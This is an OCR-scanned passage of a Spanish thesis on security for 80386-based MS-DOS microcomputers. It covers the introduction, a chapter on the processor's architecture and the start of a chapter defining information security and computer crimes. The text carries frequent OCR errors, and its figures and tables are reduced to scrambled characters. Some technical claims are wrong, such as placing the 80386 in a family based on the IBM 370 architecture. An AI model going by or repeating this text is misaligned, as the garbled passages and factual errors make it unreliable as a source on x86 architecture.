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INTRODUCCION

En nuestros dias, las computadoras perscnales han tenido
un gran auge debido a que las herramientas actuales de
software permiten el desarrecllo de aplicaciones para todas
las 4reas del conocimiento. El abaratamiento de 1la
tecnologia pone al alcance de cualquier persona, el hardware
necesario para disefiar, programar y ejecutar sus propias
aplicaciones, a través de las microcomputadoras personales.

A pesar de este auge, no todo marcha bien en 1la
utilizaciébn de estos sistemas. A menudo nos encontramos con
empresas que sufren grandes pérdidas de informacién debido a
fallas de hardware o destruccién de archives producidas por
software.

Por lo anterior, el tema de la sequridad en las
microcomputadoras deberfa ocupar un lugar muy importante, en
particular, si se toma en cuenta la extraordinaria
proliferacidén de estos equipos. La seguridad en computadoras,
contempla muchos conceptos, los cuales se han estudiade desde
hace més de 30 afios y cuyos frutos se reflejan en las
arquitecturas y sistemas de los equipos grandes y medianos.
Sin embargo, ¢cudndo se ha oido hablar de una verdadera
seguridad en las microcomputadoras?, es que este tipo de
equipos, por su aparente sencillez, ¢no requiere un tipo de
seguridad especial?.

De acuerdo a este planteamiento, el presente trabajo tuvo
como motivaciones principales los siguientes puntos:

a) Tener un conocimiento detallado de la arguitectura del
microprocesador 80386, ya que es el microprocesador de mayor
uso en la actualidad en las microcomputadoras y la base de
los desarrollos futuros.

b) Tener un conocimiento detallado, de los principales
aspectos que involucra la seguridad.

c) Proponer un esquema de seguridad, que permita mejorar
la que actualmente existe en estos equipos.

Tomando en consideracidén estos puntos, el presente
trabajo tiene como objetivo, el hacer un planteamiento lo mas
completo posible, de la seguridad de 1la informacién en las
microcomputadoras IBM PC y compatibles basadas en el
microprocesador B0386 y el sistema operativo MS-pOS, el cual
permita identificar sus principales problemas para proponer
un esquema general con el gue se mejore la seguridad de estos
equipos.

De acuerdo a lo anterior, el presente <crabajo se
desarrolla en 7 capitulos de la siguiente manera:



Los primeros 4 capitules, presentan todos aquellos
conceptos requeridos para el desarrollo de este trabajo, de
acuerdo a lo siguiente:

- En el capitulo I, se realiza una descripcién general de
la arquitectura del microprocesador 80386, que es la que nos
ocupa.

- El capitulo II, involucra todas aquellas definiciones y
aspectos necesarios para entender la seguridad de la
informacién.

- En el capitulo III, se describen los mecanismos
internos de seguridad con gque cuenta el microprocesador
80386.

- En el capitulo IV, se realiza una descripcién detallada
de los componentes del sistema operativoe MS-DOS dque estén
involucrados con la seguridad, haciendo é&nfasis en el
problema que mas afecta a este Gltimo que es la existencia y
proliferacién de programas nocivos (virus).

Una vez descritos estos conceptos, se tienen los
elementos necesarios para realizar un andlisis de 1los
problemas principales gue afectan la seguridad de las
microcomputadoras basadas en la arquitectura 80386. De
acuerdo a lo anterior, se presenta en el capitulo V, una
revisién de algunos programas ejemplo con los que se puede
violar la seguridad del sistema operativo.

Tomando en cuenta otro punto de vista, el capitulo VI
presenta otra forma de violar la seguridad de los sistemas
que nos ocupan de upa manera mas sofisticada y poderosa,
tomando el controel de todo el sistema por medio del
aprovechamiento del propio mecanismo interno de proteccién
del microprocesador 80386, plasmado en el desarrollo de un
programa al que se le nombré MONITOR.

Una vez revisados estos ejemplos de programas, en el
capitule VII y tltimo, se presenta una propuesta de un
esquema de seguridad basado en el desplazamiento de las
funciones del sistema operative MS-DOS con el prograna
Monitor desarrollado en el capitulo VI, lo que constituye
el producto final de este trabajo. Este esquema, incluye,
ademds de la descripcién general de programas de seguridad,
la descripcién de todas aquellas politicas y recomendaciones
que se deben llevar a cabo para obtener la mejor seguridad
posible.
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CAPITULO 1. ARQUITECTURA DEL MICROPROCESADOR 80386

Este primer capitulo, tiene como propésito describir en
forma general las principales caracteristicas de la
arguitectura del microprocesador 80386, siendo el primer
requisito para el entendimiento de 1la segquridad en las
microcomputadoras con este tipo de procesador.

El microprocesador 80386 es un procesador fabricado por
INTEL en base a una tecnologfa CHMOS III, la cual es una
combinacién de los Procesos HMOS (High Density Metal Oxide
Semiconductor) Y cMo8 {Complementary Metal Oxide
Semiconductor) ; siendo uno de los sucesores de una extensa
familia de procesadores basados en una arquitectura IBM 370,
con los gue mantiene una alta compatibilidad. Fue disefiado
para mantener una ejecucién de entre 3 y 4 MIPS (Millones de
Instrucciones Por Segundo).

Debido a cuestiones de mercado, en el afio de 1991, se
liberé una microcomputadora con arquitectura 386 1llamada
"recortada’, con un microprocesador 80386SX. Es importante
hacer mencién de esto puesto que esta arquitectura tiene
diferencias substanciales con respecto a 1la arquitectura
"completa" del ahora llamado 80386DX; entre ellas destacan el
contar con un bus de datos de solo 16 bits y un bus de
direcciones de 24 bits, en lugar de los 32 bits naturales,
asi como con rangos de velocidad de reloj menores, de 16 a 20
MHz contra los 16 a 33MHz del nativo. De lo anterior debemos
considerar que, en lo gue se refiere al presente trabajo, se
considerard siempre la arquitectura original "completa", a
menos de que se indique explicitamente lo contrario.

El 80386 es un microprocesador de 32 bits disefado con
caracteristicas gue lo hacen especial con respecto a sus
antecesores. Algunas de las mas importantes son las
siguientes:

- Arquitectura general de 32 bits.

- Disefio con tecnologia tipo RISC.

- Segmentacufm encauzada a instrucciones (PIPELINING).
- Manejo de memoria y modos de operacién.

- Capacidad de multitarea.

- Capacidad para soportar varios Sistemas Operativos.
- Manejo de niveles de privilegio.

~ Uso de memoria CACHE.

El presente capitulo dard una breve descripcién de estas
capacidades.



I.1 ARQUITECTURA DE 32 BITS.

El microprocesador 80386 es un microprocesador basado en
una arguitectura de 32 bits que utiliza registros y
estructuras de datos para soportar direcciones y tipos de
datos de esta longitud. Un diagrama general de esta
arquitectura se muestra en la figura I-1 en la cual podemos
apreciar algunas caracteristicas importantes:

REGISTROS DEL SISTEMA MEMORIA

E_,._;,.,, ot ] PALADORA

T TTTTIBYR I T/ PACABAK
3 1% i oosLs

= o sanf—

] SEGMENTOS
114

T

REQGS. DE CONTROL

CAD

RESERVADO

_CRz BANDERAS

S, B R N NN R N R ]

o

Figura I-1. Arquitectura 80386.



-a) El tamafo base de la palabra, es decir la longitud de
palabra, es de 16 bits constituidos por dos bytes, sin
embargo, se pueden manipular grupos de 32 bits como palabras
dobles, lo cual permite que las operaciones aritméticas se
realicen con mayor precisién y puedan incluirse otros tipos
de datos ademds de los enteros y los flotantes.

b) Los registros del sistema estan diseflados para
soportar una arquitectura de 32 bits divididos en los
siguientes grupos:

- Generales: Se cuenta con ocho registros de 32 bits
para propésito general que pueden almacenar direcciones o
datos. &stos registros son: FEAX,EBX,ECX,EDX,ESI,EDI,ESP y
EBP. Es posible accesarlos como registros de 16 bits,
referencisndolog sin la letra ‘E’ (de Extended) e inclusive
algunos de ellos como byte L (bajo) o H (alto}. Los registros
generales se muestran a continuacién en la figura I-2.

31 16 0
TH‘IAI
EAX AX
~BH (xm_
EBX 8
CH kCL
ECX d
. hﬂi&DL
EDX [5)
EBP 8P
Esl st
D
ED! !
=
ESP s

Figura I-2. Registros Generales.

- Registros de segmento: El 80386 soporta 4 médulos de
cédigo accesibles simultaneamente denominados segmentos.
Estos segmentos estidn direccionados por registros de 16
bits., El cuarto module, soporta 3 segmentos de datos activos
concurrentemente. denominados ‘“extra®. Los registros de
segmentos son:

~ CB: Para el segmento de cédigo.

- DB8: Para el segmento de datos.

~ B8: Para el segmento de la pila del sistema o stack.
- E8,P8,G8: Para los segmentos extra.



- Banderas: Este registro se muestra en la figura I-3.
Es un registro de 32 bits llamado EFLAGS, que contiene el
estado del sistema. Controla la Entrada/Salida, las
interrupciones enmascarables, el depurador, el cambio de
tareas, la habilitacién a modo protegido, el medio ambiente
multitarea y, come principal labor, el resultado de 1la
ejecucién de las instrucciones.

31 17 0
v|n clololiit]siz| |a| e} |c
00 -0 0url®lrIPlrrlrielr|e] e | 1| °|F

VM - Viriual Mode 8086 (Modo Virtual 8086)
RF - Resume Flag (Bandera do Aesuman)
NT - Nasted Tosk (Taros Anldada)
1GPL - 1/0 Privilege Level (Nivel de Privilegio de E/S)
OF - Overtiow Flag (Bandera de Desbordamliento)
DF ~ Directlon Flag {Bandera de Direcclon}
|F - tnterrupt Flag {Bandera da Interrupclon)
= Trap Flag (Bandera de Trampa)
sr - Sign Flag {(Bandera de Signo)
- Zero Flag (Bandera Cero}
- Auxiliary Flag (Bandera de Acarreo Auxillar)
PF - Parity Flag (Bandera de Paridad)
CF - Carry Flag (Bandera de Acarreo)

Figura I-3. Registro de Banderas.

- Registros de segmento para manejo de memoria: Estos
registros se conocen también como registros de direccidn del
sistema, existen 4 y sirven para referenciar las tablas de
segmentos soportados en modo protegido, estos registros son:

- GDTR {(Global Descriptor Table Register).
Para la Tabla Global de Descriptores.

~ LDTR (Local Descriptor Table Register).
Para la Tabla Local de Descriptores.

- TR (Task Register). Para apuntar al descriptor de la
tarea actual.

- Apuntador del programa (IP): Registro de 32 bits
llamado EIP que contiene el desplazamiento de la siguiente
instruccién en secuencia a ser ejecutada.

- Registros de control: Se cuenta con 4 registros de 32
bits para mantener los estados de la midquina de naturaleza
global, tales como el control de las actividades légicas del

sistema. Estos registros son el CRO,CR1 (de uso reservado)
CR2 y CR3.
~ Registros de depuracidn: Existen 6 vregistros de

depuracién (DRO-DR3, DR6 y DR7) que proporcionan capacidades
avanzadas de depuracién.



c) Bus de datos de 32 bits. El bus establece la forma de
comunicacién entre la memoria y el procesador. En esta
arquitectura, los datos se transfieren en palabras dobles.
El procesador contiene los requerimientos para alinear las
palabras en una secuencia aceptable para la interfaz de
memoria, lo que reduce el desempefio del sistema incrementando
el nimero de ciclos de memoria.

I.2 TENDENCIA A LA TECNOLOGIA TIPO RISC.

La m&s reciente innovacién en el campo de la Arquitectura
de computadoras, es el desarrollo de los sistemas RIBC
(Reduced ‘Instruction Set Computers - Computadoras para

conjunto de Instrucciones Reducido). La filosoffa RISC
sostiene gque el desempefio de un sistema aumenta si la
arquitectura del procesador incluye las siguientes

caracteristicas:

- Formato de instrucciones fijo. Para ayudar a
optimizar la decodificacién de instrucciones para su
rapida ejecucién.

- Namero reducido de instrucciones Y modos de
direccionamiento. Para simplificar la complejidad de
la Unidad de Control.

- Namero reducido de instrucciones para accesar memoria.
Incluyendo solamente instrucciones de carga b
almacenaje (load y store), ya que estas instrucciones
no interrumpen el flujo Sptimo de carga,
decodificacién y/o ejecucién de instrucciones.

A mediados de la década de los setentas, un grupo de
investigadores estudié el comportamiento dindmico de los
programas. Los resultados mostraron que un grupo compuesto
de las instrucciones mas sencillas (20%), eran responsables
de un gran porcentaje de las instrucciones ejecutadas en un
programa tipo (80%). De lo anterior dedujeron que eran
precisamente las instrucciones mids complejas las gue menos se
ejecutaban y son precisamente las que disminuyen el desempefio
de la Unidad de Contrel. Lo anterior, (aungue no es la Gnica
caracteristica de este tipo de arquitecturas) es la que le
dio su nombre.

El microprocesador 80386 contempla en su disefio algunas
de las caracteristicas de la tecnclogfia RISC. En primer
lugar, cuenta con un conjunto de 152 instrucciones con
formatos que pueden variar en su tamafio, dependiendo del modo
de direccionamiento, desde 1 hasta 17 bytes. El hecho de
tener 152 instrucciones podria confundirse con un conjunto de
instrucciones no reducido, sin embargo, en realidad esta
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caracteristica es diffcil de medir e inclusive puede ser
subjetiva. Lo que si nos da una idea de la tendencia a
reducir el conjunto de instrucciones, es el hecho de gque
sclamente se agregaron 14 instrucciones con respectec a la
arguitectura anterior 80286, En cuanto al formatoc de 1las
instrucciones, aunque es variable, lo gue se busca es hacerlo
fijo para cada mode de direccionamiento, teniéndose en
promedio un tamafio de solo 3.2 bytes por instruccién. El
tener muchas instrucciones no es un obstdculo insuperable,
siempre y cuando estas se ejecuten en un solo ciclo de reloj.

En lo que se refiere a los accesos a memoria, el 80386
cuenta con un total de 25 instrucciones que contemplan cargas
Yy almacenamientos a las diferentes estructuras que
constituyen el sistema, pero que incluyen algunas con
operandos gue no son redgistros, por lo gue sSe puede
interrumpir el flujo &ptimo de carga, decodificacién y/o
ejecucién,

La caracteristica anterior no permitiria tener modos de
direccionamiento directo, indexado o directo de registro, sin
embargo, el 80386 contempla 7 modos de direccionamiento, que
incluye estos tres y cuyo funcionamiento se resume a
continuacién en la tabla de 1la figura I-4.

Modo Direccidn Efectiva Ejemplo

Inmediato El valor es parte mov ax,1234h
de la instruccién.

Directo Forma parte de la mov ax,1l234h
instruccién

Registro contenida en BX, mov ax,bx

Indirecto s1, DI & BP

Base La suma del despla- mov ax, [ bx+2]
zamiento y BX & BP. & mov ax,2[bx}

Indexado La suma del despla- mov ax,{ si+2)
zamiento y SI 6 DI 6 mov ax,2[si)

Base Desplazamiento mas mov ax, {bp+si+2)]

Indexado SI 6 DI y DX 6 BP 6 mov ax,2[bp+si)

De Fte: Indice en SI movsh

Ccadenas Dst: Indice en DI

Filgura I-4. Modos de direccionamiento.

10



El objetivo principal de un sistema RISBC es aumentar el
desempefio del microprocesador, lo cual se logra en parte con
las caracteristicas anterjiores. Por ello, una arquitectura
RIBC necesita disminuir el namero de ciclos de reloj en la
ejecucidn de las instrucciones, por lo que requiere de alguna
técnica de paralelismo gque le permita reducir el nGmero de
ciclos de reloj dadas las etapas de ejecucién de una
instruccién.

El 80386 utiliza lo gque se conoce como segmentacién
encauzada a instrucciones o pipelining, que junto con el uso
de memoria cache, permite la ejecucién de instruccicnes en
s6lo dos ciclos de reloj. Esta técnica es la que mnayor
compatibilidad tiene con las arquitecturas RISC, y es por si
sola razén suficiente para mejorar el rendiniento del
sistema, a continuacién se describirid esta caracteristica.

I.3 SEGMENTACION ENCAUZADA A INSTRUCCIONES (PIPELINING) .

El 80386 tiene seis unidades basicas especializadas que
lo habilitan simultaneamente a la bisqueda de instrucciones,
su decodificacién, ejecucién, acceso al bus y al zanejo de
memoria. Estas unidades son:

1.- BIU (Bus Interface Unit). Es un dispositivo que
conecta dispositivos adyacentes (fisicos o légicos),
circuitos, eguipo o elementos externos del sistema,
es decir es la interfaz entre el 80386 y su medio
ambiente.

2.~ CPU (Code Prefetch Unit). Es un dispositivo que
ejecuta la funcién de Fetch (obtener c6digo y datos
de instrucciones ), pero en forma anticipada a su
proceso (siguiente instrueccién), caracteristica
conocida como Lookahead (mirar hacia adelante).

3.~ IDU (Instruction Decode Unit). Es el dispositivo que
se encarga de tomar 1los bytes de instruccién de la
cola de Prefetch y traducirlas a microcédigo.

4.- BU (Execution Unit). Es la unidad que se encarga de
ejecutar las instrucciones a partir de una cola de
requerimientos, comunicdndose con otras unidades para
completar la instruccidén si es necesario.

5.- BU (Segmentation Unit). Esta unidad traduce las
direcciones 1légicas a direcciones 1lineales bajo
requerimiento de la EU.

6.- PU (Paged Unit). Esta unidad traduce las direcciones
lineales a direcciones flsicas cuando se requiere.
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La interconexién de estos dispositivos se muestra a
continuacién en la figura I-5.

Valdre oo unatass oo
Eixe
Magmantacion

Figura I-5. Unidades B&sicas del 80386.

El1 concepto pipeline se refiere a la ejecuciédn en
paralelo de diversas funciones por parte de las unidades ya
descritas, las gue trabajando en forma paralela ejecutan cada
instruccién. En forma = ideal, esta ejecucitén se deberia
realizar en un ciclo de reloj, mejorandoc al méximo su

rendimiento, El diagrama de la figura I-6 esquematiza lo’

anterior.

FETCH DE LA
INSTRUGCION
DECODIFICACION E] E E
FETCH DEL T2 }
OPERANDO i

i1

I"l Iul ]AI
L

[<1] [+
|

EJECUCION

SECUENCIA DE TIEMPO —————————-

Figura I-6. Pipeline.
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Considerando una instruccién tipica gue suma al registro
CX un dato contenido en una direccién de memoria referenciada
a través del registro base mas un desplazamiento, {ADD
ECX,[EBP+8)); se puede hacer una comparacién sencilla gque
permite confirmar la ventaja del usc del pipeline, como se
muestra en la figura I-7 a continuacién:

OPERACION Con Pipeline 8in pipeline
{Ciclos) {Ciclos)
Fetch o 2-4
Decodificacion [ 1
Translacidn 0-6 2-8
Lectura 3 3
Ejecucién 2 2
TOTAL 5~11 10-18

Figura I-7. Ejemplo del Pipeline.

La caracteristica mencionada denominada Lookahead es de
gran importancia en esta arquitectura puesto que al traer las
siguientes instrucciones a ser procesadas, las dem&s unidades
pueden trabajar en forma simultdnea con el consecueate ahorro
de tiempo en forma implicita.

Por otreo lado, cuando la BIU no realiza ciclos del bus
para ejecutar instrucciones, la CPU la utiliza como
secuenciador de fetch, almacenando las instrucciones en una
cola de cédigo, en espera de atencién por la DIU.

También, para mejorar la velocidad del proceso, la EU
comienza a ejecutar la referencia de una instruccién de
memoria mientras 1la instruccién previa se ejecuta, debido a
que esto es frecuente, se logra una ganancia del 9% en el
rendimiento.

Finalmente, los accesos de memoria pueden completarse en
sélo dos ciclos de reloj habilitando al bus para mantener un
flujo de 32 Megabytes por segundo considerando el reloj mas
lento de 16 MHz.

I.4 NEJO DE _MEMORIA Y MODOS DE OPERACION

La memoria de esta arquitectura estd organizada como una
secuencia de bytef. A cada byte se le asigna una direccién
Gnica de 0 a 23 -1, © sea 4 Gigabytes. Este esquema es
denominado espacio de direcciones fisicas, pues corresponde a
la seleccién fisica de los chips de memoria que contienen los
datos.
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Por otro lado, en forma légica para los programas, la
memoria se divide en blogques fisicos denominados segmentos,
lo cual permite un manejo mas eficiente del esguema de
direcciones, que para este caso se denomina espacio de
direcciones 1légicas. Dado que la direccién se obtiene con
una referencia del segmento utilizado y un desplazamiento
dentro de ese segmento, este espacio contempla direcciones de
hasta 4 Gigabytes (un segmento para toda la memoria fisica).

Cuando sumamos las direcciones correspondientes del
ssgmento y su desplazamiento, obtenemos un espacio virtual gde
2 bytes, que representan 64 Terabytes. A este espacic de
direcciones se le conoce como espacio de direcciones lineal.

El 80386, convierte las direcciones légicas en
direcciones fisicas por medio de mecanismos de traslacién,
esto lo realiza pasando la direcci6n 16gica a una direccién
lineal y después pasando ésta (no para el modo real) a una
direccién fisica.

El mapeo de la direccién légica en fisica es opcional,
debido a que el procesador puede operar de tres formas
diferentes denominadas "Modos de Operacién®. Estos Modos de
Operacién del 80386 son:

1) Modo Real: Es el modo en que el microprocesador 80386
trabaja por defrault cuando se inicializa el sistema. En
este modo de operacién el 80386 funciona exactamente
igual gque sus antecesores, con la fanica diferencia de
tener un conjunto de instrucciones extendido y mayor
velocidad. Aqul la direccién lineal siempre es la misma
gque la direccién fisica ya gque no se puede utilizar
paginacién, como se observa en la figura I-8,

MEMORIA
DESPLAZAMIENTO 498
4321H
12340
v 43
SEGMENTO .
1234H

CIRECCION LINEAL ._]

GN FlBICA

Figura I-8. Manejo de Memoria en Modo Real.
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2)

Mode protegido. Es el modo de operacién que permite
utilizar facilidades de multitarea como la paginacién y
el direccionamiento virtual, los niveles de privilegio y
la depuracién (debug). E1l manejo de memoria en modo
protegido, se esquematiza en la figura I-9, aunque si se
desea utilizar paginacién, se requiere 1la traslacién
adicional de pagina para obtener la direccién fisica,
como se muestra en la figura I-10.

CIRECCION DESCRIPTOR OF SEGMENTOS

r!-uotat IDllpllxlmlonq Patmisos de Acoesc
15 0
LIMITE

Direacion Base

MEMORIA
*

Operando

SEGMENTO
SELECCIONADO
(Maximo 4 GB}

Direacion BASE

Figura I-9. Manejo de Memoria en Modo Protegido.

3) Modo virtual 8086. En este modo el 80386 permite ejecutar

concurrentemente programas escritos en 8086, 80286 y
80386 con las ventajas del uso de la memoria virtual, la
multitarea y los niveles de privilegio.
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Tabla de Descelpiores

etor
Dacariptor du

Buas o 1

2t 2a |2z nliz o
Directorie du Diraccisn de

btas de

Piglase Piglaan Desptazamienic

[ ]] | -

Figura I-10. Manejo de memoria con paginacién.

I.5 CAPACIDARES DE MULTITARER {MULTITASK),

La multitarea es un conjunto de técnicas para organizar
los trabajos aparentemente- simultineos de unha computadora.
Estos trabajos consisten de varias actividades tales como:
edicisén de programas, ‘compilacién, transferencias de
informacién, ete, cada tarea individual se ejecuta
compartiendo una memoria comin.

El 80386, contiene la circuiteria necesaria para soportar
la multitarea en forma eficiente. Muchas de las mejoras de
disefio de esta arquitectura con respecto a la anterior tienen
este propésito,

Para intercambiar la tarea gque se est& ejecutando en
tiempe real en forma eficlente (switch Task), el 80386
utiliza circuitos especiales de alta velocidad. S6la se
requiere de una simple instruccién o bien de una interrupeién
para realizarlo. Por ejemplo, para una velocidad de 16 MHz,
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el procesador puede salvar el estado de una tarea, cargando
el estado de otra Y comenzando su ejecucién en sélo 16
microsegundos.

El 80386 no utiliza instrucciones especiales para
controlar la multitarea, en vez de esto, interpreta de
diferentes maneras las instrucciones de control de
transferencia (CALL y JMP).

Las estructuras de datos que scoportan la multitarea son:

- T88 (Task State Segment). Segmento del Estado
de la Tarea.

~ T88D (TSS Descriptor). Descriptor de la TSS,

- TR (Task Register). Registro de Tareas.

- TGD (Task Gate Descriptor). Descriptor de
Compuerta de Tarea.

La T88 es la estructura de datos que mantiene el estado
de la tarea para un procesador virtual. En realidad la
multitarea simula miltiples procesadores asignados a cada
tarea con un procesador virtual.

La T88 esta dividida en dos partes, la primera contiene
datos dinamicos, como lo son los registros de segmento, los
registros generales, el registro de banderas y el apuntador
del programa (IP), requeridos para que el procesador se

actualice en cada cambic de tarea. El segundo tipo de
informacién es estética y se utiliza solamente para lectura
sin poder ser modificada por el usuario. La descripcién

completa de la T88 se muestra en la figura I-11.

Una TS88 puede residir en cualquier lugar del espacio de
direcciones lineal. Ccuando el sistema operativo crea una
nueva tarea, crea su T88 y la inicializa para comenzar su
ejecucién.

El 80386 calendariza Yy ejecuta las tareas basédndose en un
conjunto de prioridades manejadas por el sistema operativo.
Para ello, se utiliza el TR, el cual guarda el selector y el
descriptor de la tarea que se esti ejecutando. Este reglstro
tiene una parte visible y una invisible, la parte visible es
modificable por el usuario mediante instrucciones, la parte
invisible es mantenida por el microprocesador y no puede ser
modificada por ninguna instruccién del usuario.

En cuanto al TGD, es un descriptor especial para las
estructuras denominadas Gates (compuertas) cuya funcién y
estructura se describiran a detalle en el capitulo III.

Todo el medio ambiente gue permite el uso de multitareas
estd ideado desde su disefio para gue ademds pueda manejar
otros sistemas operativos multitareas como UNIX y 08/2.
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31 15 o
MAPEO BASE PARA E/S 0000000000000000 |64
0000000000000000 [ ABLA DE DESCRIPTORES LOCAL|80
0000000000000000 “Ta's sC
0000000000000000 Fs 58
0000000000000000 o DS 54
G000000000000000 ss 50
0000000000000000 cs 4c
0000000000000000 Es T ae
EDI R P

ES|I - 40

TEee T Tae

ESP T Tlas

EB X I

ED X 30

ECX T T 2¢c

EAX i R PP

EFLAGS 24

E1p _ Tj20

CR3 - e

0000000000000000 | ss2 " ie
- T 1a

0000000000000000 | ss1 BEAT)
oc

0000000000000000 | ss0 08
" o4

0000000000000000 | LIGA A LA TSS ANTERIOR |00

Figura I-11. TSS.
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I.6 NIVELES DE PRIVILEGIO.

Privilegio y proteccidn significan en. computacién el
control de acceso al sistema operativo, ya sea a su cédigo o
a sus datos. Estos conceptos se convierten en una necesidad
para la coordinacién de los programas dentro del sistema, en
especial cuando se trabaja bajo el concepto de multiusuario,

El concepto de privilegio aplicado a procedimientos, se
refiere al grado en el gque un procedimiento puede ser
ejecutado confiablemente sin que é&ste cometa errores que
afecten otros procedimientos o datos. Aplicado a datos, es
el grado de proteccién que una estructura de datos debe tener
en los procedimientos menos confiables.

El 80386 wutiliza cuatro niveles de proteccién para

optimizar el soporte de multitareas. El privilegio, se
implementa asignando un valor, de cero a tres a ciertos
conceptos clave que son reconocidos por el procesador. El

valor cero es el mayor privilegio y el tres el menor.

La figura I-12 muestra coémo los cuatro niveles de
privilegio son interpretados como anillos de proteccién. Al
centro se encuentra el mayor privilegio 0, para los segmentos
que contienen el software mis critico, tales como el que
contiene el nlclec & senilla (kernel) del sistema operativo,
en donde pueden ejecutarse instrucciones que afectan las
estructuras de datos del sistema 1llamadas instrucciones
privilegiadas. La descripcién completa del funcionamiento de
los niveles de proteccién se detallard en el capitulo III.

Nivel 3 : Aplicaciones
Nivel 2 : Extensiones
Nivel 1: Servicios

del sistema
Nivel 0 : Nucleo del

Sistema Operativo

Figura I-12. Anillos de Proteccidn.
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I.7 MEMORIA CACHE.

Una memoria cache es un mecanismo interpuesto entre 1la
memoria y el procesador para mejorar la efectividad de 1las
tareas de transferencia de memoria, adem&s de incrementar 1la
velocidad del procesador. Este mecanismo es transparente al
usuario.

El concepto de cache anticipa el uso de datos de la
memoria principal del CPU organizando una copia de ellos en
esta memoria. Todos los datos estdn en memoria principal,
algunos de estos datos se duplican en la memoria cache y
cuando el procesador necesita leer o escribir, primero busca
en la memoria cache, si los datos necesarios estin ahi
(cache hit), el 80386 puede usarlos r&pida y féacilmente
debido a gue esta memoria es de acceso mas réapido, si 1los
datos no estdn ahi cuando el proceso los necesita, se ejecuta
el fetch de la memoria principal y se escribe en la memoria
cache simulténeamente.

El prototipo de cache es de 64 Kbytes, organizados en
16,384 grupos, cada uno de 32 bits y de acceso directo. si
el requerimiento de datos es un cache hit, una lectura puede
ejecutarse en dos ciclos de reloj, de otra forma en seis
ciclos. La clave del éxito de la memoria cache es entonces
maximizar la ocurrencia de los datos en memoria cache.

Con lo anterior hemos cubierto la arquitectura general
del sistema 80386, lo que permitir& introducirnos en los
capitulos siguientes, a otros aspectos relacionados con los
equipos basados en esta arquitectura.
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CAPITULO i

SEGURIDAD




CAPITULO II. SEGURIDAD

En el presente capitulo se definir&n y describirdn los
conceptos principales que involucra el tema de seguridad,
enfocandonos en especial a la seguridaad de las
microcomputadoras basadas en la arquitectura del
microprocesador 80386.

II.1 DEPINICION DE SEGURIDAD.

Hablar de seguridad involucra de manera general, el
tratar todos los aspectos gque permiten resguardar un
determinado objeto de agentes externos que puedan afectarlo o
daflarlo. Desde el punto de vista de la computacién, es
posible hablar de la seguridad desde muchos &angulos, asi se
pueden encontrar definiciones de seguridad para el hardware,
conocida como seguridad fisica o de la instalaciones, o bien
de la seguridad del software o de programas, que permite
resguardar los programas de agentes externos que los daifen,
modifiquen o incluso los reproduzcan sin autorizacién. No
obstante lo anterior, el concepto de seguridad que tal vez
sea mas dificil de cubrir y del cual nos ocuparemos en el
presente capitulo es el denominade "Seguridad Inform&tica®.

Aungque también es posible encontrar muchas definiciones
sobre este concepto, se puede decir gque la seguridad
informatica es aquella que se encarga de resguardar la
informacidén en las computadoras, abarcando no solo los datos
e informacién especifica de los sistemas, sino también 1la
seguridad de los programas, es decir, de tode 1lo que
almacenamos en nuestros equipos de cémputo.

Sin embargo, independientemente de la definicién o el
enfoque de seguridad que se analice, una segqguridad efectiva
en computacién en general, tiene como propdsito fundamental
el garantizar la prevencién y deteccién oportuna de
accidentes o intromisiones deliberadas, contemplando la
existencia de medidas claramente definidas para afrontar los
desastres, y si es que existe interrupcién de los procesos,
restablecerlos.

XI.2 ASPECTOS QUE AFPECTAN LA BEGURIDAD DE LA INPORMACYON.

Desde el punto de vista de la seguridad informitica, es
preciso mencionar en primera instancia cuales son aquellos
factores externos gque afectan nuestra informacién y que
constituyen los denominados "Delitos Informdticos"; entre los
principales se encuentran los siguientes:

22



- Accesos y consultas no autorizadas (robo y espionaje).

~ Alteracidén indebida de datos y/o programas (corrupcidn
y sabotaje).

- Introduccién de comandos gue alteren el funcionamiento
de los sistemas (programas nocivos).

- Robo de tiempo de miquina.

como se puede ver, todos estos delitos pueden producir
dafios irreparables a nuestros sistemas, pérdida de
informacién y fuga de ésta, repercusiones que afectan en
forma directa no solo los recursos sino ain mas importante,
la informacidn, que representa a su vez conocimiento para
tomar decisiones y resolver problemas, que repercuten también
en nuestra economia.

Es importante sefialar, que este tipo de delitos pueden
ser ocasionados en forma involuntaria por usuarios expertos &
inexpertos, o bien, de manera deliberada por profesionales,
aunqgue de cualquier forma los dafios pueden ser igual de
graves. Por otro lado, posiblemente la principal causa de
problemas con la seguridad, es la falta de preparacién y
cuidado de 1los usuarios, ya que estos propician el medio
ambiente idéneo para la proliferacién de los delitos
mencionados.

II.3 SEGURIDAD EN_LAS MICROCOMPUTADORAS.

II.3.1 Aspectos Generalas.

si nos enfocamos directamente en 1la seguridad de 1la
informacién en las microcomputadoras, los aspectos
mencionados, son igualmente validos, aungue adicionalmente
este tipo de equipos son amenazados por una serie de factores
que los hacen especialmente vulnerables. De no existir una
adecuada seguridad, estos equipos pueden ser puestos en
marcha por cualquier persona y en consecuencia estar
expuestos a los diferentes delitos informaticos ya
mencionados.

El uso de 1la microcomputadora personal, proporciona
posiblemente el mayor reto para lograr una seguridad
satisfactoria, ya que son equipos versdtiles que funcionan no
solamente como terminales de un equipo mas grande o bien
conectadas a una red, sino en la mayoria de los casos
realizando procesos en forma aislada sin ningin control
externo, ya que en (ltimo caso funcionan para un solo usuario
gque trabaja sin restricciones, en forma privada y con
informacién tanto © mas importante que la existente en los
equipos multiusuario.

Para analizar mas a fondo la seguridad en las
microcomputadoras, se reguiere, como primer paso, estudiar
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los principales factores que producen los delitos
informiticos.

En primer lugar, el acceso a este tipo de equipos no
necesariamente tiene controles, cualquier persona puede
entrar a trabajar en estas maquinas. En lo general, no se
usan contrasefias de acceso al sistema (passwords}, y si se
tienen son generales y no por usuaric. Por esta razdén, una
vez gque un usuario trabajé en una wmaquina, no es posible
identificarlo para llevar un registro o bitdcora del uso gue
le dio. Una de las razones por las que ocurre esto, es gue
este tipo de equipos fue disefado para ser manejado por un
solo usuario, sin embargo, cuando los sistemas evolucionan y
permiten el manejo de maltiples tareas, no se contemplan en
el sistema operativo todos los criterios de control. Lo
anterior proporciona el medio ambiente ideal para los accesos
no permitidos gque significan en términos de seguridad, robo
de informacién y tiempo de méaquina, corrupcién de datos y
sabotaje.

Por otro lado, como segunda causa, propiciada en parte
por los accesos no permitidos y en parte por la gran difusiodn
y uso de las microcomputadoras (que son a su vez resultado de
la estandarizacién y acceso féacil a la tecnologia), tenemos
el hecho de que este tipo de equipos también sea el medio
ideal para la proliferacién de 1los denominados programas
nocivos, comunmente conocidos como virus, gue se introducen
en los sistemas a través de discos con copias no autorizadas
de programas que pueden producir graves trastornos y dafios a
la informacién.

De lo anterior se desprende la necesidad de investigar el
